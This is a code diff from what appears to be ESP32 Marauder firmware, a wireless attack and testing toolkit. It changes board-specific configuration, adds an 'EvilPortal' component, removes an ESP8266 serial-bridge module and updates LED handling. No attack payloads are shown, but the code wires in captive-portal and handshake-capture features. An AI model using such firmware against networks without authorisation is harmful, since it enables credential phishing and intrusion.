#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#endif
//// END DISPLAY DEFINITIONS
@@ -332,60 +593,77 @@
#define ICON_H 22
#define BUTTON_PADDING 10
#endif
#ifdef MARAUDER_M5STICKC
#define BANNER_TIME 50
#define COMMAND_PREFIX "!"
// Keypad start position, key sizes and spacing
#define KEY_X (TFT_WIDTH/2) // Centre of key
#define KEY_Y (TFT_HEIGHT/5)
#define KEY_W TFT_HEIGHT // Width and height
#define KEY_H (TFT_HEIGHT/17)
#define KEY_SPACING_X 0 // X and Y gap
#define KEY_SPACING_Y 1
#define KEY_TEXTSIZE 1 // Font size multiplier
#define ICON_W 22
#define ICON_H 22
#define BUTTON_PADDING 10
#endif
//// END MENU DEFINITIONS
//// SD DEFINITIONS
#ifdef MARAUDER_V4
#define SD_CS 12
#endif
#ifdef FLIPPER_ZERO_HAT
#ifdef MARAUDER_V6
#define SD_CS 12
#endif
#ifdef USE_FLIPPER_SD
#define WRITE_PACKETS_SERIAL
#endif
#ifdef MARAUDER_KIT
#define SD_CS 12
#endif
#elif defined(USE_SD)
#ifdef MARAUDER_MINI
#define SD_CS 4
#endif
#ifdef MARAUDER_V4
#define SD_CS 12
#endif
#ifdef MARAUDER_FLIPPER
#define SD_CS 10
#endif
#ifdef MARAUDER_V6
#define SD_CS 12
#endif
#ifdef MARAUDER_KIT
#define SD_CS 12
#endif
#ifdef MARAUDER_MINI
#define SD_CS 4
#endif
#ifdef MARAUDER_M5STICKC
#define SD_CS 10
#endif
#ifdef MARAUDER_FLIPPER
#define SD_CS 10
#endif
#ifdef ESP32_LDDB
#define SD_CS 4
#endif
#ifdef MARAUDER_DEV_BOARD_PRO
#define SD_CS 4
#endif
#ifdef XIAO_ESP32_S3
#define SD_CS 3
#endif
#ifdef ESP32_LDDB
#define SD_CS 4
#endif
//// END SD DEFINITIONS
//// SCREEN STUFF
#ifdef MARAUDER_MINI
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef MARAUDER_V4
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef MARAUDER_V6
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef MARAUDER_KIT
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef GENERIC_ESP32
#define HAS_BT
#endif
#ifndef HAS_SCREEN
#define TFT_WHITE 0
#define TFT_CYAN 0
#define TFT_BLUE 0
@@ -405,15 +683,129 @@
#include <LinkedList.h>
#include "SPIFFS.h"
#include "Assets.h"
#endif
//// END SCREEN STUFF
//// NEOPIXEL STUFF
#ifdef ESP32_LDDB
#define PIN 17
#else
#define PIN 25
//// MEMORY LOWER LIMIT STUFF
// These values are in bytes
#ifdef MARAUDER_M5STICKC
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_MINI)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_V4)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_V6)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_KIT)
#define MEM_LOWER_LIM 20000
#elif defined(GENERIC_ESP32)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_FLIPPER)
#define MEM_LOWER_LIM 20000
#elif defined(ESP32_LDDB)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define MEM_LOWER_LIM 20000
#elif defined(XIAO_ESP32_S3)
#define MEM_LOWER_LIM 20000
#endif
//// END MEMORY LOWER LIMIT STUFF
#endif
//// NEOPIXEL STUFF
#ifdef HAS_NEOPIXEL_LED
#if defined(ESP32_LDDB)
#define PIN 17
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define PIN 16
#else
#define PIN 25
#endif
#endif
//// END NEOPIXEL STUFF
//// BOARD PIN OVERRIDES
#ifdef XIAO_ESP32_S3
#ifdef USE_FLIPPER_SD
#define XIAO_RX1 1
#define XIAO_TX1 2
#endif
#endif
//// END BOARD PIN OVERRIDES
//// EVIL PORTAL STUFF
#ifdef MARAUDER_M5STICKC
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_MINI)
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_V4)
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_V6)
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_KIT)
#define MAX_HTML_SIZE 11400
#elif defined(GENERIC_ESP32)
#define MAX_HTML_SIZE 20000
#elif defined(MARAUDER_FLIPPER)
#define MAX_HTML_SIZE 20000
#elif defined(ESP32_LDDB)
#define MAX_HTML_SIZE 20000
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define MAX_HTML_SIZE 20000
#elif defined(XIAO_ESP32_S3)
#define MAX_HTML_SIZE 20000
#else
#define MAX_HTML_SIZE 20000
#endif
//// END EVIL PORTAL STUFF
//// GPS STUFF
#ifdef HAS_GPS
#ifdef MARAUDER_V6
#define GPS_SERIAL_INDEX 2
#define GPS_TX 4
#define GPS_RX 13
#define mac_history_len 512
#elif defined(MARAUDER_V4)
#define GPS_SERIAL_INDEX 2
#define GPS_TX 4
#define GPS_RX 13
#define mac_history_len 512
#elif defined(MARAUDER_KIT)
#define GPS_SERIAL_INDEX 2
#define GPS_TX 4
#define GPS_RX 13
#define mac_history_len 512
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define GPS_SERIAL_INDEX 2
#define GPS_TX 21
#define GPS_RX 17
#define mac_history_len 512
#elif defined(MARAUDER_FLIPPER)
#define GPS_SERIAL_INDEX 1
#define GPS_TX 9
#define GPS_RX 21
#define mac_history_len 512
#endif
#else
#define mac_history_len 512
#endif
//// END GPS STUFF
//// MARAUDER TITLE STUFF
#ifdef MARAUDER_V4
#define MARAUDER_TITLE_BYTES 13578
#elif defined(MARAUDER_V6)
#define MARAUDER_TITLE_BYTES 13578
#elif defined(MARAUDER_KIT)
#define MARAUDER_TITLE_BYTES 13578
#elif defined(MARAUDER_MINI)
#define MARAUDER_TITLE_BYTES 13578
#else
#define MARAUDER_TITLE_BYTES 13578
#endif
//// END MARAUDER TITLE STUFF
#endif

View File

@@ -13,6 +13,8 @@ https://www.online-utility.org/image/convert/to/XBM
#endif
#include <WiFi.h>
//#include "Web.h"
#include "EvilPortal.h"
#include <Wire.h>
#include "esp_wifi.h"
#include "esp_wifi_types.h"
@@ -22,56 +24,112 @@ https://www.online-utility.org/image/convert/to/XBM
#include "esp_system.h"
#include <Arduino.h>
#ifdef HAS_GPS
#include "GpsInterface.h"
#endif
#include "Assets.h"
#include "WiFiScan.h"
#include "SDInterface.h"
#include "Web.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "Buffer.h"
#include "BatteryInterface.h"
#include "TemperatureInterface.h"
#include "LedInterface.h"
#include "esp_interface.h"
#ifdef MARAUDER_FLIPPER
#include "flipperLED.h"
#elif defined(XIAO_ESP32_S3)
#include "xiaoLED.h"
#else
#include "LedInterface.h"
#endif
//#include "esp_interface.h"
#include "settings.h"
#include "CommandLine.h"
#include "lang_var.h"
#include "flipperLED.h"
#ifdef HAS_BATTERY
#include "BatteryInterface.h"
#endif
//#ifdef HAS_TEMP_SENSOR
// #include "TemperatureInterface.h"
//#endif
#ifdef HAS_SCREEN
#include "Display.h"
#include "MenuFunctions.h"
#include "a32u4_interface.h"
//#include "a32u4_interface.h"
#endif
#ifdef MARAUDER_MINI
#ifdef HAS_BUTTONS
#include <SwitchLib.h>
SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
#if (U_BTN >= 0)
SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
#endif
#if (D_BTN >= 0)
SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
#endif
#if (L_BTN >= 0)
SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
#endif
#if (R_BTN >= 0)
SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
#endif
#if (C_BTN >= 0)
SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
#endif
#endif
WiFiScan wifi_scan_obj;
SDInterface sd_obj;
Web web_obj;
EvilPortal evil_portal_obj;
//Web web_obj;
Buffer buffer_obj;
BatteryInterface battery_obj;
TemperatureInterface temp_obj;
LedInterface led_obj;
EspInterface esp_obj;
//EspInterface esp_obj;
Settings settings_obj;
CommandLine cli_obj;
flipperLED flipper_led;
#ifdef HAS_GPS
GpsInterface gps_obj;
#endif
#ifdef HAS_BATTERY
BatteryInterface battery_obj;
#endif
//#ifdef HAS_TEMP_SENSOR
// TemperatureInterface temp_obj;
//#endif
#ifdef HAS_SCREEN
Display display_obj;
MenuFunctions menu_function_obj;
A32u4Interface a32u4_obj;
//A32u4Interface a32u4_obj;
#endif
#ifdef HAS_SD
SDInterface sd_obj;
#endif
#ifdef MARAUDER_M5STICKC
AXP192 axp192_obj;
#endif
#ifdef MARAUDER_FLIPPER
flipperLED flipper_led;
#elif defined(XIAO_ESP32_S3)
xiaoLED xiao_led;
#else
LedInterface led_obj;
#endif
const String PROGMEM version_number = MARAUDER_VERSION;
Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
#ifdef HAS_NEOPIXEL_LED
Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
#endif
uint32_t currentTime = 0;
@@ -103,6 +161,10 @@ void backlightOff() {
void setup()
{
#ifdef MARAUDER_M5STICKC
axp192_obj.begin();
#endif
pinMode(FLASH_BUTTON, INPUT);
#ifdef HAS_SCREEN
@@ -119,18 +181,29 @@ void setup()
#ifdef HAS_SCREEN
digitalWrite(TFT_CS, HIGH);
#endif
pinMode(SD_CS, OUTPUT);
delay(10);
digitalWrite(SD_CS, HIGH);
#ifdef HAS_SD
pinMode(SD_CS, OUTPUT);
delay(10);
delay(10);
digitalWrite(SD_CS, HIGH);
delay(10);
#endif
Serial.begin(115200);
//Serial.begin(115200);
// Starts a second serial channel to stream the captured packets
#ifdef WRITE_PACKETS_SERIAL
#ifdef XIAO_ESP32_S3
Serial1.begin(115200, SERIAL_8N1, XIAO_RX1, XIAO_TX1);
#else
Serial1.begin(115200);
#endif
#endif
//Serial.println("\n\nHello, World!\n");
@@ -151,7 +224,11 @@ void setup()
// Draw the title screen
#ifdef HAS_SCREEN
display_obj.drawJpeg("/marauder3L.jpg", 0 , 0); // 240 x 320 image
#ifndef MARAUDER_MINI
display_obj.drawJpeg("/marauder3L.jpg", 0 , 0); // 240 x 320 image
#else
display_obj.drawJpeg("/marauder3L.jpg", 0, 0);
#endif
#endif
#ifdef HAS_SCREEN
@@ -187,10 +264,6 @@ void setup()
settings_obj.begin();
#ifdef MARAUDER_FLIPPER
flipper_led.RunSetup();
#endif
//Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
//if (settings_obj.loadSetting<bool>( "Force PMKID"))
// Serial.println("This is a test Force PMKID: true");
@@ -205,38 +278,44 @@ void setup()
display_obj.tft.println(F(text_table0[2]));
#endif
// Do some SD stuff
if(sd_obj.initSD()) {
//Serial.println(F("SD Card supported"));
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[3]));
#endif
}
else {
Serial.println(F("SD Card NOT Supported"));
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println(F(text_table0[4]));
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
battery_obj.RunSetup();
#ifdef WRITE_PACKETS_SERIAL
buffer_obj = Buffer();
#elif defined(HAS_SD)
// Do some SD stuff
if(sd_obj.initSD()) {
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[3]));
#endif
} else {
Serial.println(F("SD Card NOT Supported"));
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println(F(text_table0[4]));
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
#else
return;
#endif
#ifdef HAS_BATTERY
battery_obj.RunSetup();
#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[5]));
#endif
// Temperature stuff
#ifndef MARAUDER_FLIPPER
temp_obj.RunSetup();
#endif
//#ifdef HAS_TEMP_SENSOR
// temp_obj.RunSetup();
//#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[6]));
#endif
#ifndef MARAUDER_FLIPPER
#ifdef HAS_BATTERY
battery_obj.battery_level = battery_obj.getBatteryLevel();
// if (battery_obj.i2c_supported) {
@@ -247,7 +326,11 @@ void setup()
#endif
// Do some LED stuff
#ifndef MARAUDER_FLIPPER
#ifdef MARAUDER_FLIPPER
flipper_led.RunSetup();
#elif defined(XIAO_ESP32_S3)
xiao_led.RunSetup();
#else
led_obj.RunSetup();
#endif
@@ -257,6 +340,16 @@ void setup()
delay(500);
#endif
#ifdef HAS_GPS
gps_obj.begin();
#ifdef HAS_SCREEN
if (gps_obj.getGpsModuleStatus())
display_obj.tft.println("GPS Module connected");
else
display_obj.tft.println("GPS Module NOT connected");
#endif
#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[8]));
@@ -275,7 +368,7 @@ void setup()
//Serial.println(F(" By: justcallmekoko\n"));
//Serial.println(F("--------------------------------\n\n"));
Serial.println("CLI Ready");
Serial.println(F("CLI Ready"));
cli_obj.RunSetup();
}
@@ -290,59 +383,76 @@ void loop()
#endif
// Update all of our objects
#ifdef HAS_SCREEN
/*#ifdef HAS_SCREEN
bool do_draw = display_obj.draw_tft;
#else
bool do_draw = false;
#endif*/
//if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
//{
cli_obj.main(currentTime);
#ifdef HAS_SCREEN
display_obj.main(wifi_scan_obj.currentScanMode);
#endif
wifi_scan_obj.main(currentTime);
//evil_portal_obj.main(wifi_scan_obj.currentScanMode);
#ifdef HAS_GPS
gps_obj.main();
#endif
if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
{
cli_obj.main(currentTime);
#ifdef HAS_SCREEN
display_obj.main(wifi_scan_obj.currentScanMode);
#endif
wifi_scan_obj.main(currentTime);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.forceSaveSerial();
#elif defined(HAS_SD)
sd_obj.main();
#ifndef MARAUDER_FLIPPER
battery_obj.main(currentTime);
temp_obj.main(currentTime);
#endif
settings_obj.main(currentTime);
if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
(mini)) {
#ifdef HAS_SCREEN
menu_function_obj.main(currentTime);
#endif
#ifndef MARAUDER_FLIPPER
led_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
}
if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
web_obj.main();
#ifdef HAS_SCREEN
delay(1);
#else
delay(50);
#endif
}
#ifdef HAS_SCREEN
else if ((display_obj.draw_tft) &&
(wifi_scan_obj.currentScanMode != OTA_UPDATE))
{
display_obj.drawStylus();
}
#else
return;
#endif
else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
#ifdef HAS_BATTERY
battery_obj.main(currentTime);
//temp_obj.main(currentTime);
#endif
settings_obj.main(currentTime);
if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
(mini)) {
#ifdef HAS_SCREEN
menu_function_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
}
#ifdef MARAUDER_FLIPPER
flipper_led.main();
#elif defined(XIAO_ESP32_S3)
xiao_led.main();
#else
led_obj.main(currentTime);
#endif
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
// web_obj.main();
#ifdef HAS_SCREEN
delay(1);
#else
delay(50);
#endif
//}
/*else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
#ifdef HAS_SCREEN
display_obj.main(wifi_scan_obj.currentScanMode);
menu_function_obj.main(currentTime);
#endif
#ifndef MARAUDER_FLIPPER
#ifdef MARAUDER_FLIPPER
flipper_led.main();
#elif defined(XIAO_ESP32_S3)
xiao_led.main();
#else
led_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
delay(1);
}
}*/
}

View File

@@ -1,135 +0,0 @@
#include "esp_interface.h"
HardwareSerial MySerial(1);
void EspInterface::begin() {
pinMode(ESP_RST, OUTPUT);
pinMode(ESP_ZERO, OUTPUT);
delay(100);
digitalWrite(ESP_ZERO, HIGH);
Serial.println("Checking for ESP8266...");
MySerial.begin(BAUD, SERIAL_8N1, 27, 26);
delay(100);
#ifdef HAS_SCREEN
display_obj.tft.println("Checking for ESP8266...");
#endif
this->bootRunMode();
delay(500);
while (MySerial.available())
MySerial.read();
MySerial.write("PING");
delay(2000);
String display_string = "";
while (MySerial.available()) {
display_string.concat((char)MySerial.read());
}
display_string.trim();
Serial.println("\nDisplay string: " + (String)display_string);
if (display_string == "ESP8266 Pong") {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.tft.println("ESP8266 Found!");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
Serial.println("ESP8266 Found!");
this->supported = true;
}
else {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println("ESP8266 Not Found");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
this->initTime = millis();
}
void EspInterface::RunUpdate() {
this->bootProgramMode();
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(true);
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setCursor(0, 100);
display_obj.tft.setTextSize(1);
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.println("Waiting for serial data...");
display_obj.tft.setTextColor(TFT_WHITE);
#endif
}
void EspInterface::bootProgramMode() {
Serial.println("[!] Setting ESP12 in program mode...");
digitalWrite(ESP_ZERO, LOW);
delay(100);
digitalWrite(ESP_RST, LOW);
delay(100);
digitalWrite(ESP_RST, HIGH);
delay(100);
digitalWrite(ESP_ZERO, HIGH);
Serial.println("[!] Complete");
Serial.end();
Serial.begin(57600);
}
void EspInterface::bootRunMode() {
Serial.end();
Serial.begin(115200);
Serial.println("[!] Setting ESP12 in run mode...");
digitalWrite(ESP_ZERO, HIGH);
delay(100);
digitalWrite(ESP_RST, LOW);
delay(100);
digitalWrite(ESP_RST, HIGH);
delay(100);
digitalWrite(ESP_ZERO, HIGH);
Serial.println("[!] Complete");
}
void EspInterface::program() {
if (MySerial.available()) {
Serial.write((uint8_t)MySerial.read());
}
if (Serial.available()) {
#ifdef HAS_SCREEN
display_obj.tft.print(".");
#endif
while (Serial.available()) {
MySerial.write((uint8_t)Serial.read());
}
}
}
void EspInterface::main(uint32_t current_time) {
if (current_time - this->initTime >= 1000) {
this->initTime = millis();
//MySerial.write("PING");
}
while (MySerial.available()) {
Serial.print((char)MySerial.read());
}
if (Serial.available()) {
MySerial.write((uint8_t)Serial.read());
}
}

View File

@@ -1,35 +0,0 @@
#ifndef esp_interface_h
#define esp_interface_h
#include "configs.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include <HardwareSerial.h>
#define ESP_RST 14
#define ESP_ZERO 13
#define BAUD 115200
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
class EspInterface {
public:
bool supported = false;
uint32_t initTime;
void RunUpdate();
void bootProgramMode();
void bootRunMode();
void begin();
void program();
void main(uint32_t current_time);
};
#endif

View File

@@ -5,8 +5,12 @@ void flipperLED::RunSetup() {
pinMode(G_PIN, OUTPUT);
pinMode(R_PIN, OUTPUT);
if (!settings_obj.loadSetting<bool>("EnableLED"))
if (!settings_obj.loadSetting<bool>("EnableLED")) {
digitalWrite(B_PIN, HIGH);
digitalWrite(G_PIN, HIGH);
digitalWrite(R_PIN, HIGH);
return;
}
delay(50);
@@ -51,3 +55,7 @@ void flipperLED::offLED() {
digitalWrite(G_PIN, HIGH);
digitalWrite(R_PIN, HIGH);
}
void flipperLED::main() {
// do nothing
}

Some files were not shown because too many files have changed in this diff Show More